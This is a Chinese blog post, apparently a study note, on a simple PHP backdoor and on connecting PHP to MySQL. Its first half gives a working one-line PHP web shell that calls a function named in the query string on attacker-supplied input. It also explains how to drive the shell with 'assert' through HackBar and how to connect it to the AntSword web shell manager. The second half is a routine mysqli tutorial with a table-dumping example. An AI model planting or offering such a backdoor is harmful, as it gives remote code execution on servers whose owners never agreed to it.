当前位置: 首页 > news >正文

php简单后门实现及php连接数据库

php简单后门实现

代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>easybackdoor</title>
</head>
<body><?php$_GET['x']($_GET['y']);?></body>
</html>

效果

image-20231024172159783

使用蚁剑连接

  <?php$_GET['x']($_POST['y']);?>

使用hackbar传参,前面传assert

image-20231024173622697

添加蚁剑数据,需要选择base64

image-20231024173827283

连接成功

image-20231024173900247

php连接数据库

相关函数

函数名作用
mysqli_connect()与MySQL 数据库建立连接。
mysqli_close()关闭与MYSQL 数据库建立的连接。
mysqli_connect_errno()与MySQL 数据库建立连接时,发生错误时的错误编号。
mysqli_connect_error()与MySQL 数据库建立连接时,发生错误时的错误信息。
mysqli_query()执行SQL 语句。
mysqli_errno()执行SQL 语句时,发生错误的编号。
mysqli_error()执行SQL 语句时,发生错误的信息。
mysqli_fetch_assoc()从结果集对象中取数据,按条取数据。
函数说明
mysqli_fetch_row()以索引数组的方式获取一条记录的数据
mysqli_fetch_assoc()以关联数组的方式获取一条记录的数据
mysqli_fetch_array()以索引数组或关联数组的方式获取一条记录的数据
mysqli_fetch_all()以索引数组或关联数组的方式获取全部记录的数据
mysqli_num_rows()获取结果集对象中数据条数
mysqli_free_result()释放与一个结果集合相关的内存

交互过程

  • 建立与MySQL 链接。
  • 执行SQL 语句,返回结果集对象。
  • 从结果集对象中取数据。
  • 关闭与MySQL 链接

建立链接

$db_host = "127.0.0.1";
$db_user = "root";
$db_pass = "root";
$db_name = "bbs";$link = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);

如果链接成功,返回object(mysqli)1;否则,返回bool(false)。

$link 是对象类型的变量,相当于一个"令牌"。

捕获连接错误
  • 错误编号
  • 错误详情
if(!$link){exit("[".mysqli_connect_errno()."] ".mysqli_connect_error());
}

关闭链接

mysqli_close($link);

执行SQL

单条SQL 语句执行
$sql = "select * from users1;";$results =  mysqli_query($link, $sql);

如果SQL 语句正常执行,就会返回对象类型object(mysqli_result)#2 的数据;否则,bool(false)。

对于insert,delete,update 等不会返回数据的SQL 语句,在执行没有错误时将返回true。对于返回数据的SQL 语句执行成功的时候会返回结果集对象,可以使用操作结果集对象的函数来从中获取数据。

SQL 错误

如果在执行SQL 语句的时候发生错误,mysqli_query 将返回false。可以使用以下函数捕获错误原因:

if(!$results){exit("[".mysqli_errno($link)."] ".mysqli_error($link));
}

完整代码实现

执行结果,遍历输出该表并写入表格

image-20231024165547718

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>mysqlconnect</title>
</head>
<body><?php$db_host="127.0.0.1";$db_user="root";$db_pass="root";$db_name="bbs";$link=@mysqli_connect($db_host, $db_user, $db_pass, $db_name);if(!$link){echo "link error<br>"."[".mysqli_connect_errno()."]".mysqli_connect_error();exit();}else{echo "link access";}$sql="select * from message;";$results=mysqli_query($link,$sql);if(!$results){echo "error,plz retry<br>"."[".mysqli_errno($link)."]".mysqli_error($link);}echo "<table border=2>";echo "<tr><td>id</td><td>uid</td><td>title</td><td>content</td></tr>";while($result=mysqli_fetch_assoc($results)){echo "<tr>";foreach($result as $k => $v){echo "<td>";echo $v;echo "</td>";}echo "</tr>";}echo "</table>";mysqli_close($link); ?></body>
</html>
http://www.lryc.cn/news/204989.html

相关文章:

  • IOS课程笔记[6] 基础控件
  • python爬虫入门(五)XPath使用
  • 【广州华锐互动】VR消防员模拟灭火:身临其境的火场救援
  • NFS性能瓶颈分析
  • Java中配置RabbitMQ基本步骤
  • Ingress典型配置
  • webpack中常见的Loader解决了什么问题?
  • 阿里7年经验之谈 —— 如何实现前端项目的自动化测试?
  • 动态开辟内存空间函数
  • nodejs+vue备忘记账系统-计算机毕业设计
  • 百度Comate代码助手SaaS版本:智慧编程,引领新潮
  • 数据与视图的完美契合:Vue响应式的交织魅力
  • Centos8 降低gcc版本至gcc-7.3
  • Qt之设置QLineEdit只能输入浮点数
  • Spark项目实战-卡口流量统计
  • kubernetesr进阶--Secret概述
  • 在 Python 中使用 Pillow 进行图像处理【2/4】
  • XTU-OJ 1171-coins
  • 如何使用 JMeter 进行 HTTPS 请求测试?
  • KNN-水仙花的分类
  • Kotlin 如何确定协程是否启动
  • 【Spring Boot】Spring Boot集成RabbitMQ
  • Hadoop部署过程中问题总结
  • 低成本IC上岸攻略—IC设计网课白嫖篇
  • BootLoader为什么要分阶段?
  • Centos8: 安装python2, 并设置默认版本
  • 【逆向】导入表注入
  • Unity游戏开发中打造游戏攻击技能架构与设计
  • 【微信小程序开发】小程序微信用户授权登录(用户信息手机号)
  • VSCode 自动格式化